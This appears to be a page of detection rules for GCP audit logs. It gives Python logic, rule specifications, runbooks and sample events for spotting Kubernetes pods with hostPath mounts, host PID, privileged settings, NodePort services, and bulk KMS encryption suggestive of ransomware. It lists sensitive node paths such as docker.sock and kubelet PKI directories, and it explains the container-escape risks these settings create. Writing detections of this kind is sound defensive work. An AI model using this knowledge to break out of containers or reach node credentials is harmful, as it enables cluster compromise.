"permission": "io.k8s.core.v1.pods.create",
"resource": "core/v1/namespaces/default/pods/nginx-test"
}
],
"protoPayload": {
"methodName": "io.k8s.core.v1.pods.create",
"request": {
"spec": {
"hostNetwork": true
}
}
}
}
GCP K8S Pod Create Or Modify Host Path Volume Mount
#This detection monitors for pod creation with a hostPath volume mount. The attachment to a node's volume can allow for privilege escalation through underlying vulnerabilities or it can open up possibilities for data exfiltration or unauthorized file access. It is very rare to see this being a pod requirement. System service accounts in the kube-system namespace are excluded to prevent false positives from legitimate system components.
MITRE ATT&CK coverage
| Tactic | Techniques |
|---|---|
| Privilege Escalation | |
| Exfiltration |
Telemetry coverage
| Platform | Record / event type |
|---|---|
| Kubernetes | create-pods: create pods |
| Kubernetes | update-pods: update pods |
| Kubernetes | patch-pods: patch pods |
Rules detecting the same action
These rules filter on the same operation.
- Attach/Exec Pod (Falco)
- Azure AKS Attempted User Exec into Pod (Elastic)
- Azure AKS Ephemeral Container Added to Pod (Elastic)
- Container With A hostPath Mount Created (Sigma)
- Create Disallowed Pod (Falco)
- Create HostIPC Pod (Falco)
- Create HostNetwork Pod (Falco)
- Create HostPid Pod (Falco)
Detection logic
from panther_gcp_helpers import gcp_alert_context, is_gke_system_namespace, is_gke_system_principal
SUSPICIOUS_PATHS = [
"/var/run/docker.sock",
"/var/run/crio/crio.sock",
"/var/lib/kubelet",
"/var/lib/kubelet/pki",
"/var/lib/docker/overlay2",
"/etc/kubernetes",
"/etc/kubernetes/manifests",
"/etc/kubernetes/pki",
"/home/admin",
]
def rule(event):
# Check basic conditions
if event.deep_get("protoPayload", "response", "status") == "Failure" or event.deep_get(
"protoPayload", "methodName"
) not in (
"io.k8s.core.v1.pods.create",
"io.k8s.core.v1.pods.update",
"io.k8s.core.v1.pods.patch",
):
return False
# Check if volume mount path is suspicious
volume_mount_path = event.deep_walk(
"protoPayload", "request", "spec", "volumes", "hostPath", "path"
)
has_suspicious_path = volume_mount_path and (
volume_mount_path in SUSPICIOUS_PATHS
or any(path in SUSPICIOUS_PATHS for path in volume_mount_path)
)
if not has_suspicious_path:
return False
# Check if this is a known GKE system service account or system namespace
principal_email = event.deep_get(
"protoPayload", "authenticationInfo", "principalEmail", default=""
)
resource_name = event.deep_get("protoPayload", "resourceName", default="")
if is_gke_system_principal(principal_email) or is_gke_system_namespace(resource_name):
return False
# Check authorization
authorization_info = event.deep_walk("protoPayload", "authorizationInfo")
if not authorization_info:
return False
for auth in authorization_info:
if (
auth.get("permission")
in (
"io.k8s.core.v1.pods.create",
"io.k8s.core.v1.pods.update",
"io.k8s.core.v1.pods.patch",
)
and auth.get("granted") is True
):
return True
return False
def title(event):
actor = event.deep_get(
"protoPayload", "authenticationInfo", "principalEmail", default="<ACTOR_NOT_FOUND>"
)
pod_name = event.deep_get("protoPayload", "resourceName", default="<RESOURCE_NOT_FOUND>")
project_id = event.deep_get("resource", "labels", "project_id", default="<PROJECT_NOT_FOUND>")
return (
f"[GCP]: [{actor}] created k8s pod [{pod_name}] with a hostPath volume mount "
f"in project [{project_id}]"
)
def dedup(event):
return event.deep_get(
"protoPayload", "authenticationInfo", "principalEmail", default="<ACTOR_NOT_FOUND>"
)
def alert_context(event):
context = gcp_alert_context(event)
volume_mount_path = event.deep_walk(
"protoPayload", "request", "spec", "volumes", "hostPath", "path"
)
context["volume_mount_path"] = volume_mount_path
return context
Rule specification
AnalysisType: rule
RuleID: "GCP.K8S.Pod.Create.Or.Modify.Host.Path.Volume.Mount"
DisplayName: "GCP K8S Pod Create Or Modify Host Path Volume Mount"
Enabled: false
Status: Deprecated
LogTypes:
- GCP.AuditLog
Severity: High
Tags:
- Deprecated
Description: >
This detection monitors for pod creation with a hostPath volume mount. The attachment to a node's volume can allow
for privilege escalation through underlying vulnerabilities or it can open up possibilities for data exfiltration
or unauthorized file access. It is very rare to see this being a pod requirement. System service accounts in the
kube-system namespace are excluded to prevent false positives from legitimate system components.
Runbook: |
Investigate the reason of adding hostPath volume mount. Advise that it is discouraged practice.
Create ticket if appropriate.
Reference: https://kubernetes.io/docs/concepts/security/pod-security-standards/#host-namespaces
Reports:
MITRE ATT&CK:
- TA0010:T1041 # Exfiltration Over C2 Channel
- TA0004:T1611 # Escape to Host
Filename: gcp_k8s_pod_create_or_modify_host_path_vol_mount.py
DedupPeriodMinutes: 360
Stages and Predicates
Fires on GCP.AuditLog events when all of the conditions below hold.
Condition
protoPayload.response.statusis notFailureprotoPayload.methodNameis one ofio.k8s.core.v1.pods.create,io.k8s.core.v1.pods.update,io.k8s.core.v1.pods.patchprotoPayload.request.spec.volumes.hostPath.pathis presentprotoPayload.request.spec.volumes.hostPath.pathis one of/var/run/docker.sock,/var/run/crio/crio.sock,/var/lib/kubelet,/var/lib/kubelet/pki,/var/lib/docker/overlay2any of:
protoPayload.authenticationInfo.principalEmailis emptyall of:
protoPayload.authenticationInfo.principalEmaildoes not start withsystem:kube-controller-managerprotoPayload.authenticationInfo.principalEmaildoes not start withsystem:kube-schedulerprotoPayload.authenticationInfo.principalEmaildoes not start withsystem:addon-managerprotoPayload.authenticationInfo.principalEmaildoes not start withsystem:serviceaccount:kube-system:protoPayload.authenticationInfo.principalEmaildoes not start withsystem:serviceaccount:kube-public:protoPayload.authenticationInfo.principalEmaildoes not start withsystem:serviceaccount:kube-node-lease:protoPayload.authenticationInfo.principalEmaildoes not start withsystem:serviceaccount:gke-system:protoPayload.authenticationInfo.principalEmaildoes not start withsystem:serviceaccount:gke-managed-system:protoPayload.authenticationInfo.principalEmaildoes not start withsystem:serviceaccount:gmp-system:protoPayload.authenticationInfo.principalEmaildoes not start withsystem:serviceaccount:gmp-public:protoPayload.authenticationInfo.principalEmaildoes not start withsystem:serviceaccount:config-management-system:protoPayload.authenticationInfo.principalEmaildoes not start withsystem:serviceaccount:istio-system:protoPayload.authenticationInfo.principalEmaildoes not start withsystem:serviceaccount:asm-system:
protoPayload.resourceNameis emptyprotoPayload.authorizationInfois presentany element of
protoPayload.authorizationInfomatches all of:protoPayload.authorizationInfo.permissionis one ofio.k8s.core.v1.pods.create,io.k8s.core.v1.pods.update,io.k8s.core.v1.pods.patchprotoPayload.authorizationInfo.grantedistrue
protoPayload.authorizationInfo.permissionis one ofio.k8s.core.v1.pods.create,io.k8s.core.v1.pods.update,io.k8s.core.v1.pods.patch
This rule also runs imperative logic the parser cannot express as a filter. The conditions above are the structured part it could extract.
Exclusions
The rule actively suppresses these predicates.
Indicators
These rows show field, operator, and value matches.
| Field | Kind | Values | Search |
|---|---|---|---|
protoPayload.authorizationInfo | is_not_null | field:"protoPayload.authorizationInfo" kind:is_not_null | |
protoPayload.authorizationInfo.permission | in |
| field:"protoPayload.authorizationInfo.permission" kind:in |
protoPayload.methodName | in |
| field:"protoPayload.methodName" kind:in |
protoPayload.request.spec.volumes.hostPath.path | in |
| field:"protoPayload.request.spec.volumes.hostPath.path" kind:in |
protoPayload.request.spec.volumes.hostPath.path | is_not_null | field:"protoPayload.request.spec.volumes.hostPath.path" kind:is_not_null |
Output fields
Fields the rule emits when it matches, drawn from the rule's alert_context.
| Field | Source |
|---|---|
project | resource.labels.project_id |
principal | protoPayload.authenticationInfo.principalEmail |
caller_ip | protoPayload.requestMetadata.callerIP |
methodName | protoPayload.methodName |
resourceName | protoPayload.resourceName |
serviceName | protoPayload.serviceName |
Response runbook
Investigate the reason of adding hostPath volume mount. Advise that it is discouraged practice.
Create ticket if appropriate.
Worked example
A sample event from the rule's unit tests that triggers a match.Sample Test Event
{
"logName": "projects/some-project/logs/cloudaudit.googleapis.com%2Factivity",
"protoPayload": {
"at_sign_type": "type.googleapis.com/google.cloud.audit.AuditLog",
"authenticationInfo": {
"principalEmail": "some.user@company.com"
},
"authorizationInfo": [
{
"granted": true,
"permission": "io.k8s.core.v1.pods.create",
"resource": "core/v1/namespaces/default/pods/test"
}
],
"methodName": "io.k8s.core.v1.pods.create",
"request": {
"@type": "core.k8s.io/v1.Pod",
"apiVersion": "v1",
"kind": "Pod",
"metadata": {
"name": "test",
"namespace": "default"
},
"spec": {
"containers": [
{
"image": "nginx",
"imagePullPolicy": "Always",
"name": "test",
"volumeMounts": [
{
"mountPath": "/test",
"name": "test-volume"
}
]
}
],
"volumes": [
{
"hostPath": {
"path": "/var/lib/kubelet",
"type": "DirectoryOrCreate"
},
"name": "test-volume"
}
]
}
},
"requestMetadata": {
"callerIP": "1.2.3.4",
"callerSuppliedUserAgent": "kubectl/v1.28.2 (darwin/amd64) kubernetes/89a4ea3"
},
"resourceName": "core/v1/namespaces/default/pods/test",
"response": {
"spec": {
"containers": [
{
"image": "nginx",
"imagePullPolicy": "Always",
"name": "test",
"volumeMounts": [
{
"mountPath": "/test",
"name": "test-volume"
}
]
}
],
"volumes": [
{
"hostPath": {
"path": "/var/lib/kubelet",
"type": "DirectoryOrCreate"
},
"name": "test-volume"
}
]
},
"status": {
"phase": "Pending",
"qosClass": "BestEffort"
}
}
},
"receiveTimestamp": "2024-02-16 11:48:43.531373988",
"resource": {
"labels": {
"cluster_name": "some-project-cluster",
"location": "us-west1",
"project_id": "some-project"
},
"type": "k8s_cluster"
},
"timestamp": "2024-02-16 11:48:22.742154000"
}
GCP K8s Pod Using Host PID Namespace
#This detection monitors for any pod creation or modification using the host PID namespace. The Host PID namespace enables a pod and its containers to have direct access and share the same view as of the host’s processes. This can offer a powerful escape hatch to the underlying host.
MITRE ATT&CK coverage
| Tactic | Techniques |
|---|---|
| Execution | |
| Privilege Escalation |
Telemetry coverage
| Platform | Record / event type |
|---|---|
| Kubernetes | create-pods: create pods |
| Kubernetes | update-pods: update pods |
| Kubernetes | patch-pods: patch pods |
Rules detecting the same action
These rules filter on the same operation.
- Attach/Exec Pod (Falco)
- Azure AKS Attempted User Exec into Pod (Elastic)
- Azure AKS Ephemeral Container Added to Pod (Elastic)
- Container With A hostPath Mount Created (Sigma)
- Create Disallowed Pod (Falco)
- Create HostIPC Pod (Falco)
- Create HostNetwork Pod (Falco)
- Create HostPid Pod (Falco)
Detection logic
from panther_gcp_helpers import gcp_alert_context, is_gke_system_namespace, is_gke_system_principal
METHODS_TO_CHECK = [
"io.k8s.core.v1.pods.create",
"io.k8s.core.v1.pods.update",
"io.k8s.core.v1.pods.patch",
]
def rule(event):
method = event.deep_get("protoPayload", "methodName")
request_host_pid = event.deep_get("protoPayload", "request", "spec", "hostPID")
response_host_pid = event.deep_get("protoPayload", "response", "spec", "hostPID")
if not ((request_host_pid is True or response_host_pid is True) and method in METHODS_TO_CHECK):
return False
# Check if this is a known GKE system service account
principal_email = event.deep_get(
"protoPayload", "authenticationInfo", "principalEmail", default=""
)
if is_gke_system_principal(principal_email):
return False
# Check if this is in a system namespace
resource_name = event.deep_get("protoPayload", "resourceName", default="")
if is_gke_system_namespace(resource_name):
return False
return True
def title(event):
actor = event.deep_get(
"protoPayload", "authenticationInfo", "principalEmail", default="<ACTOR_NOT_FOUND>"
)
project_id = event.deep_get("resource", "labels", "project_id", default="<PROJECT_NOT_FOUND>")
return (
f"[GCP]: [{actor}] created or modified pod using the host PID namespace "
f"in project [{project_id}]"
)
def alert_context(event):
return gcp_alert_context(event)
Rule specification
AnalysisType: rule
RuleID: "GCP.K8s.Pod.Using.Host.PID.Namespace"
DisplayName: "GCP K8s Pod Using Host PID Namespace"
Enabled: false
Status: Deprecated
Filename: gcp_k8s_pod_using_host_pid_namespace.py
LogTypes:
- GCP.AuditLog
Tags:
- Deprecated
- GCP
- Optional
Severity: Medium
Description:
This detection monitors for any pod creation or modification using the host PID namespace. The Host
PID namespace enables a pod and its containers to have direct access and share the same view as of the host’s
processes. This can offer a powerful escape hatch to the underlying host.
Runbook:
Investigate a reason of creating a pod using the host PID namespace. Advise that it is discouraged
practice. Create ticket if appropriate.
Reports:
MITRE ATT&CK:
- TA0004:T1611 # Escape to Host
- TA0002:T1610 # Deploy Container
Reference: https://medium.com/snowflake/from-logs-to-detection-using-snowflake-and-panther-to-detect-k8s-threats-d72f70a504d7
Stages and Predicates
Fires on GCP.AuditLog events when all of the conditions below hold.
Condition
any of:
protoPayload.request.spec.hostPIDistrueprotoPayload.response.spec.hostPIDistrue
protoPayload.methodNameis one ofio.k8s.core.v1.pods.create,io.k8s.core.v1.pods.update,io.k8s.core.v1.pods.patchany of:
protoPayload.authenticationInfo.principalEmailis emptyall of:
protoPayload.authenticationInfo.principalEmaildoes not start withsystem:kube-controller-managerprotoPayload.authenticationInfo.principalEmaildoes not start withsystem:kube-schedulerprotoPayload.authenticationInfo.principalEmaildoes not start withsystem:addon-managerprotoPayload.authenticationInfo.principalEmaildoes not start withsystem:serviceaccount:kube-system:protoPayload.authenticationInfo.principalEmaildoes not start withsystem:serviceaccount:kube-public:protoPayload.authenticationInfo.principalEmaildoes not start withsystem:serviceaccount:kube-node-lease:protoPayload.authenticationInfo.principalEmaildoes not start withsystem:serviceaccount:gke-system:protoPayload.authenticationInfo.principalEmaildoes not start withsystem:serviceaccount:gke-managed-system:protoPayload.authenticationInfo.principalEmaildoes not start withsystem:serviceaccount:gmp-system:protoPayload.authenticationInfo.principalEmaildoes not start withsystem:serviceaccount:gmp-public:protoPayload.authenticationInfo.principalEmaildoes not start withsystem:serviceaccount:config-management-system:protoPayload.authenticationInfo.principalEmaildoes not start withsystem:serviceaccount:istio-system:protoPayload.authenticationInfo.principalEmaildoes not start withsystem:serviceaccount:asm-system:
protoPayload.resourceNameis empty
This rule also runs imperative logic the parser cannot express as a filter. The conditions above are the structured part it could extract.
Exclusions
The rule actively suppresses these predicates.
Indicators
These rows show field, operator, and value matches.
| Field | Kind | Values | Search |
|---|---|---|---|
protoPayload.methodName | in |
| field:"protoPayload.methodName" kind:in |
protoPayload.request.spec.hostPID | eq |
| field:"protoPayload.request.spec.hostPID" kind:eq value:"true" |
protoPayload.response.spec.hostPID | eq |
| field:"protoPayload.response.spec.hostPID" kind:eq value:"true" |
Output fields
Fields the rule emits when it matches, drawn from the rule's alert_context.
| Field | Source |
|---|---|
project | resource.labels.project_id |
principal | protoPayload.authenticationInfo.principalEmail |
caller_ip | protoPayload.requestMetadata.callerIP |
methodName | protoPayload.methodName |
resourceName | protoPayload.resourceName |
serviceName | protoPayload.serviceName |
Response runbook
Investigate a reason of creating a pod using the host PID namespace. Advise that it is discouraged practice. Create ticket if appropriate.
Worked example
A sample event from the rule's unit tests that triggers a match.Sample Test Event
{
"authorizationInfo": [
{
"granted": true,
"permission": "io.k8s.core.v1.pods.create",
"resource": "core/v1/namespaces/default/pods/nginx-test"
}
],
"protoPayload": {
"methodName": "io.k8s.core.v1.pods.create",
"request": {
"spec": {
"hostPID": true
}
}
}
}
GCP K8S Privileged Pod Created
#Alerts when a user creates privileged pod. These particular pods have full access to the host’s namespace and devices, have the ability to exploit the kernel, have dangerous linux capabilities, and can be a powerful launching point for further attacks. In the event of a successful container escape where a user is operating with root privileges, the attacker retains this role on the node.
MITRE ATT&CK coverage
| Tactic | Techniques |
|---|---|
| Privilege Escalation |
Telemetry coverage
| Platform | Record / event type |
|---|---|
| Kubernetes | create-pods: create pods |
Rules detecting the same action
These rules filter on the same operation.
- Attach/Exec Pod (Falco)
- Azure AKS Attempted User Exec into Pod (Elastic)
- Container With A hostPath Mount Created (Sigma)
- Create Disallowed Pod (Falco)
- Create HostIPC Pod (Falco)
- Create HostNetwork Pod (Falco)
- Create HostPid Pod (Falco)
- Create Privileged Pod (Falco)
Detection logic
from panther_base_helpers import deep_get
from panther_gcp_helpers import gcp_alert_context, is_gke_system_namespace, is_gke_system_principal
def rule(event):
# Check basic conditions that would exclude this event
if (
event.deep_get("protoPayload", "response", "status") == "Failure"
or event.deep_get("protoPayload", "methodName") != "io.k8s.core.v1.pods.create"
):
return False
# Check if this is a known service account or system namespace that should be excluded
principal_email = event.deep_get(
"protoPayload", "authenticationInfo", "principalEmail", default=""
)
resource_name = event.deep_get("protoPayload", "resourceName", default="")
if is_gke_system_principal(principal_email) or is_gke_system_namespace(resource_name):
return False
# Check for privileged pod creation
authorization_info = event.deep_walk("protoPayload", "authorizationInfo")
if not authorization_info:
return False
containers_info = event.deep_walk("protoPayload", "response", "spec", "containers")
for auth in authorization_info:
if auth.get("permission") == "io.k8s.core.v1.pods.create" and auth.get("granted") is True:
for security_context in containers_info:
# Check for privileged pods and pods running as root
# Reference:
# https://kubernetes.io/docs/concepts/security/pod-security-standards/#restricted
if (
deep_get(security_context, "securityContext", "privileged") is True
or deep_get(security_context, "securityContext", "runAsNonRoot") is False
):
return True
return False
def title(event):
actor = event.deep_get(
"protoPayload", "authenticationInfo", "principalEmail", default="<ACTOR_NOT_FOUND>"
)
pod_name = event.deep_get("protoPayload", "resourceName", default="<RESOURCE_NOT_FOUND>")
project_id = event.deep_get("resource", "labels", "project_id", default="<PROJECT_NOT_FOUND>")
return f"[GCP]: [{actor}] created a privileged pod [{pod_name}] in project [{project_id}]"
def dedup(event):
return event.deep_get(
"protoPayload", "authenticationInfo", "principalEmail", default="<ACTOR_NOT_FOUND>"
)
def alert_context(event):
context = gcp_alert_context(event)
containers_info = event.deep_walk("protoPayload", "response", "spec", "containers", default=[])
context["pod_security_context"] = [i.get("securityContext") for i in containers_info]
return context
Rule specification
AnalysisType: rule
RuleID: "GCP.K8S.Privileged.Pod.Created"
DisplayName: "GCP K8S Privileged Pod Created"
Enabled: false
Status: Deprecated
LogTypes:
- GCP.AuditLog
Severity: High
Tags:
- Deprecated
Filename: gcp_k8s_privileged_pod_created.py
Description: >
Alerts when a user creates privileged pod. These particular pods have full access to the host’s namespace and
devices, have the ability to exploit the kernel, have dangerous linux capabilities, and can be a powerful launching
point for further attacks. In the event of a successful container escape where a user is operating with root
privileges, the attacker retains this role on the node.
Runbook: |
Investigate the reason of creating privileged pod. Advise that it is discouraged practice.
Create ticket if appropriate.
Reference: https://www.golinuxcloud.com/kubernetes-privileged-pod-examples/
Reports:
MITRE ATT&CK:
- TA0004:T1548 # Abuse Elevation Control Mechanism
DedupPeriodMinutes: 360
Stages and Predicates
Fires on GCP.AuditLog events when all of the conditions below hold.
Condition
protoPayload.response.statusis notFailureprotoPayload.methodNameisio.k8s.core.v1.pods.createany of:
protoPayload.authenticationInfo.principalEmailis emptyall of:
protoPayload.authenticationInfo.principalEmaildoes not start withsystem:kube-controller-managerprotoPayload.authenticationInfo.principalEmaildoes not start withsystem:kube-schedulerprotoPayload.authenticationInfo.principalEmaildoes not start withsystem:addon-managerprotoPayload.authenticationInfo.principalEmaildoes not start withsystem:serviceaccount:kube-system:protoPayload.authenticationInfo.principalEmaildoes not start withsystem:serviceaccount:kube-public:protoPayload.authenticationInfo.principalEmaildoes not start withsystem:serviceaccount:kube-node-lease:protoPayload.authenticationInfo.principalEmaildoes not start withsystem:serviceaccount:gke-system:protoPayload.authenticationInfo.principalEmaildoes not start withsystem:serviceaccount:gke-managed-system:protoPayload.authenticationInfo.principalEmaildoes not start withsystem:serviceaccount:gmp-system:protoPayload.authenticationInfo.principalEmaildoes not start withsystem:serviceaccount:gmp-public:protoPayload.authenticationInfo.principalEmaildoes not start withsystem:serviceaccount:config-management-system:protoPayload.authenticationInfo.principalEmaildoes not start withsystem:serviceaccount:istio-system:protoPayload.authenticationInfo.principalEmaildoes not start withsystem:serviceaccount:asm-system:
protoPayload.resourceNameis emptyprotoPayload.authorizationInfois present
This rule also runs imperative logic the parser cannot express as a filter. The conditions above are the structured part it could extract.
Exclusions
The rule actively suppresses these predicates.
Indicators
These rows show field, operator, and value matches.
| Field | Kind | Values | Search |
|---|---|---|---|
protoPayload.authorizationInfo | is_not_null | field:"protoPayload.authorizationInfo" kind:is_not_null |
Output fields
Fields the rule emits when it matches, drawn from the rule's alert_context.
| Field | Source |
|---|---|
project | resource.labels.project_id |
principal | protoPayload.authenticationInfo.principalEmail |
caller_ip | protoPayload.requestMetadata.callerIP |
methodName | protoPayload.methodName |
resourceName | protoPayload.resourceName |
serviceName | protoPayload.serviceName |
Response runbook
Investigate the reason of creating privileged pod. Advise that it is discouraged practice.
Create ticket if appropriate.
Worked example
A sample event from the rule's unit tests that triggers a match.Sample Test Event
{
"logName": "projects/some-project/logs/cloudaudit.googleapis.com%2Factivity",
"operation": {},
"protoPayload": {
"at_sign_type": "type.googleapis.com/google.cloud.audit.AuditLog",
"authenticationInfo": {
"principalEmail": "john.doe@company.com"
},
"authorizationInfo": [
{
"granted": true,
"permission": "io.k8s.core.v1.pods.create",
"resource": "core/v1/namespaces/default/pods/test-privileged-pod"
}
],
"methodName": "io.k8s.core.v1.pods.create",
"request": {
"@type": "core.k8s.io/v1.Pod",
"apiVersion": "v1",
"kind": "Pod",
"metadata": {
"name": "test-privileged-pod",
"namespace": "default"
},
"spec": {
"containers": [
{
"image": "nginx",
"imagePullPolicy": "Always",
"name": "nginx",
"resources": {},
"securityContext": {
"privileged": true
}
}
],
"securityContext": {}
},
"status": {}
},
"requestMetadata": {
"callerIP": "1.2.3.4"
},
"resourceName": "core/v1/namespaces/default/pods/test-privileged-pod",
"response": {
"@type": "core.k8s.io/v1.Pod",
"apiVersion": "v1",
"kind": "Pod",
"metadata": {},
"spec": {
"containers": [
{
"image": "nginx",
"imagePullPolicy": "Always",
"name": "nginx",
"resources": {},
"securityContext": {
"privileged": true
}
}
],
"securityContext": {},
"serviceAccount": "default",
"serviceAccountName": "default",
"terminationGracePeriodSeconds": 30
},
"status": {}
},
"serviceName": "k8s.io",
"status": {}
},
"receiveTimestamp": "2024-02-13 12:45:20.058795785",
"resource": {
"labels": {
"cluster_name": "some-project-cluster",
"location": "us-west1",
"project_id": "some-project"
},
"type": "k8s_cluster"
},
"timestamp": "2024-02-13 12:45:06.073905000"
}
GCP K8S Service Type NodePort Deployed
#This detection monitors for any kubernetes service deployed with type node port. A Node Port service allows an attacker to expose a set of pods hosting the service to the internet by opening their port and redirecting traffic here. This can be used to bypass network controls and intercept traffic, creating a direct line to the outside network.
MITRE ATT&CK coverage
| Tactic | Techniques |
|---|---|
| Initial Access |
Telemetry coverage
| Platform | Record / event type |
|---|---|
| Kubernetes | create-services: create services |
Rules detecting the same action
These rules filter on the same operation.
- Create NodePort Service (Falco)
- GKE Exposed Service Created With Type NodePort (Elastic)
- K8s Service Created (Falco)
- Kubernetes Exposed Service Created With Type NodePort (Elastic)
- Kubernetes Node Port Creation (Splunk)
- Kubernetes NodePort Service Deployed (Panther)
- Kubernetes Service with Type Node Port Deployed (Panther)
- Kubernetes Service with Type Node Port Deployed (Panther)
Detection logic
from panther_gcp_helpers import gcp_alert_context
def rule(event):
if event.deep_get("protoPayload", "response", "status") == "Failure":
return False
if event.deep_get("protoPayload", "methodName") != "io.k8s.core.v1.services.create":
return False
if event.deep_get("protoPayload", "request", "spec", "type") != "NodePort":
return False
authorization_info = event.deep_walk("protoPayload", "authorizationInfo")
if not authorization_info:
return False
for auth in authorization_info:
if (
auth.get("permission") == "io.k8s.core.v1.services.create"
and auth.get("granted") is True
):
return True
return False
def title(event):
actor = event.deep_get(
"protoPayload", "authenticationInfo", "principalEmail", default="<ACTOR_NOT_FOUND>"
)
project_id = event.deep_get("resource", "labels", "project_id", default="<PROJECT_NOT_FOUND>")
return f"[GCP]: [{actor}] created NodePort service in project [{project_id}]"
def alert_context(event):
context = gcp_alert_context(event)
request_spec = event.deep_walk("protoPayload", "request", "spec")
context["request_spec"] = request_spec
return context
Rule specification
AnalysisType: rule
RuleID: "GCP.K8S.Service.Type.NodePort.Deployed"
DisplayName: "GCP K8S Service Type NodePort Deployed"
Enabled: false
Status: Deprecated
Filename: gcp_k8s_service_type_node_port_deployed.py
LogTypes:
- GCP.AuditLog
Severity: High
Description: >
This detection monitors for any kubernetes service deployed with type node port. A Node Port service allows
an attacker to expose a set of pods hosting the service to the internet by opening their port and redirecting
traffic here. This can be used to bypass network controls and intercept traffic, creating a direct line to
the outside network.
Runbook: |
Investigate the reason of creating NodePort service. Advise that it is discouraged practice.
Create ticket if appropriate.
Reference: https://kubernetes.io/docs/tutorials/kubernetes-basics/expose/expose-intro/
Tags:
- Deprecated
- Exploit Public-Facing Application
- Initial Access
Reports:
MITRE ATT&CK:
- TA0001:T1190 # Exploit Public-Facing Application
Stages and Predicates
Fires on GCP.AuditLog events when all of the conditions below hold.
Condition
protoPayload.response.statusis notFailureprotoPayload.methodNameisio.k8s.core.v1.services.createprotoPayload.request.spec.typeisNodePortprotoPayload.authorizationInfois presentany element of
protoPayload.authorizationInfomatches all of:protoPayload.authorizationInfo.permissionisio.k8s.core.v1.services.createprotoPayload.authorizationInfo.grantedistrue
protoPayload.authorizationInfo.permissionisio.k8s.core.v1.services.create
Indicators
These rows show field, operator, and value matches.
Output fields
Fields the rule emits when it matches, drawn from the rule's alert_context.
| Field | Source |
|---|---|
project | resource.labels.project_id |
principal | protoPayload.authenticationInfo.principalEmail |
caller_ip | protoPayload.requestMetadata.callerIP |
methodName | protoPayload.methodName |
resourceName | protoPayload.resourceName |
serviceName | protoPayload.serviceName |
Response runbook
Investigate the reason of creating NodePort service. Advise that it is discouraged practice.
Create ticket if appropriate.
Worked example
A sample event from the rule's unit tests that triggers a match.Sample Test Event
{
"logName": "projects/some-project/logs/cloudaudit.googleapis.com%2Factivity",
"protoPayload": {
"at_sign_type": "type.googleapis.com/google.cloud.audit.AuditLog",
"authenticationInfo": {
"principalEmail": "some.user@company.com"
},
"authorizationInfo": [
{
"granted": true,
"permission": "io.k8s.core.v1.services.create",
"resource": "core/v1/namespaces/default/services/test-ns"
}
],
"methodName": "io.k8s.core.v1.services.create",
"request": {
"@type": "core.k8s.io/v1.Service",
"apiVersion": "v1",
"kind": "Service",
"spec": {
"ports": [
{
"name": "5678-8080",
"port": 5678,
"protocol": "TCP",
"targetPort": 8080
}
],
"type": "NodePort"
}
},
"requestMetadata": {
"callerIP": "1.2.3.4",
"callerSuppliedUserAgent": "kubectl/v1.28.2 (darwin/amd64) kubernetes/89a4ea3"
},
"resourceName": "core/v1/namespaces/default/services/test-ns",
"response": {
"@type": "core.k8s.io/v1.Service",
"apiVersion": "v1",
"kind": "Service",
"metadata": {
"creationTimestamp": "2024-02-19T12:02:21Z",
"name": "test-ns",
"namespace": "default",
"resourceVersion": "15036073",
"uid": "28758fe1-534a-4705-bcc2-12eeac6f11a4"
},
"spec": {
"clusterIP": "2.3.4.5",
"clusterIPs": [
"2.3.4.5"
],
"ports": [
{
"name": "5678-8080",
"nodePort": 32361,
"port": 5678,
"protocol": "TCP",
"targetPort": 8080
}
],
"type": "NodePort"
}
},
"serviceName": "k8s.io",
"status": {}
},
"receiveTimestamp": "2024-02-19 12:02:39.542633547",
"resource": {
"labels": {
"cluster_name": "some-project-cluster",
"location": "us-west1",
"project_id": "some-project"
},
"type": "k8s_cluster"
},
"timestamp": "2024-02-19 12:02:22.057586000"
}
GCP KMS Bulk Encryption by GCS Service Account
#Detects bulk KMS encryption operations performed by the GCS service account. This pattern is indicative of a ransomware attack where an adversary directly calls the KMS Encrypt API using the GCS service account identity to encrypt data at scale, effectively holding data hostage. The threshold of 10+ encryption operations suggests automated bulk encryption rather than normal application behavior.
MITRE ATT&CK coverage
| Tactic | Techniques |
|---|---|
| Impact |
Telemetry coverage
Detection logic
def rule(event):
method_name = event.deep_get("protoPayload", "methodName")
service_name = event.deep_get("protoPayload", "serviceName")
principal = event.deep_get(
"protoPayload", "authenticationInfo", "principalEmail", default="<UNKNOWN_PRINCIPAL>"
)
severity = event.get("severity")
return all(
[
method_name == "Encrypt",
service_name == "cloudkms.googleapis.com",
"gs-project-accounts.iam.gserviceaccount.com" in principal,
severity != "ERROR", # Operation succeeded
]
)
def title(event):
key = event.deep_get("resource", "labels", "crypto_key_id", default="Unknown")
return f"GCS service account performing bulk KMS encryption with key [{key}]"
def alert_context(event):
return {
"principal": event.deep_get("protoPayload", "authenticationInfo", "principalEmail"),
"kms_key": event.deep_get("protoPayload", "resourceName"),
"key_ring": event.deep_get("resource", "labels", "key_ring_id"),
"crypto_key": event.deep_get("resource", "labels", "crypto_key_id"),
"project": event.deep_get("resource", "labels", "project_id"),
"status": event.deep_get("protoPayload", "status"),
"location": event.deep_get("resource", "labels", "location"),
}
Rule specification
AnalysisType: rule
Filename: gcp_kms_bulk_encryption.py
RuleID: "GCP.KMS.BulkEncryption"
DisplayName: "GCP KMS Bulk Encryption by GCS Service Account"
Enabled: true
Threshold: 10
DedupPeriodMinutes: 15
LogTypes:
- GCP.AuditLog
Tags:
- GCP
- Google Cloud KMS
- Impact:Data Encrypted for Impact
- Ransomware
Reports:
MITRE ATT&CK:
- TA0040:T1486
Severity: Medium
Description: >
Detects bulk KMS encryption operations performed by the GCS service account. This pattern
is indicative of a ransomware attack where an adversary directly calls the KMS Encrypt API
using the GCS service account identity to encrypt data at scale, effectively holding data
hostage. The threshold of 10+ encryption operations suggests automated bulk encryption
rather than normal application behavior.
Runbook: |
1. Query GCP Audit logs for all KMS Encrypt API calls by the GCS service account in the 1 hour window around this alert
2. Identify the total number of encryption operations and the rate of operations per minute
3. Check if KMS IAM policies were recently modified to grant the GCS service account encryption permissions
4. Investigate the source of these encryption calls and what data is being encrypted
5. Search for related GCS operations (object rewrite, copy, bucket updates) in the same time window
6. Look for other ransomware indicators (disabled KMS keys, bucket configuration changes) from this project in the past 24 hours
Reference: https://cloud.google.com/kms/docs/reference/rest/v1/projects.locations.keyRings.cryptoKeys/encrypt
SummaryAttributes:
- severity
- p_any_emails
Stages and Predicates
Fires on GCP.AuditLog events when all of the conditions below hold.
Condition
protoPayload.methodNameisEncryptprotoPayload.serviceNameiscloudkms.googleapis.comprotoPayload.authenticationInfo.principalEmailcontainsgs-project-accounts.iam.gserviceaccount.comseverityis notERROR
Indicators
These rows show field, operator, and value matches.
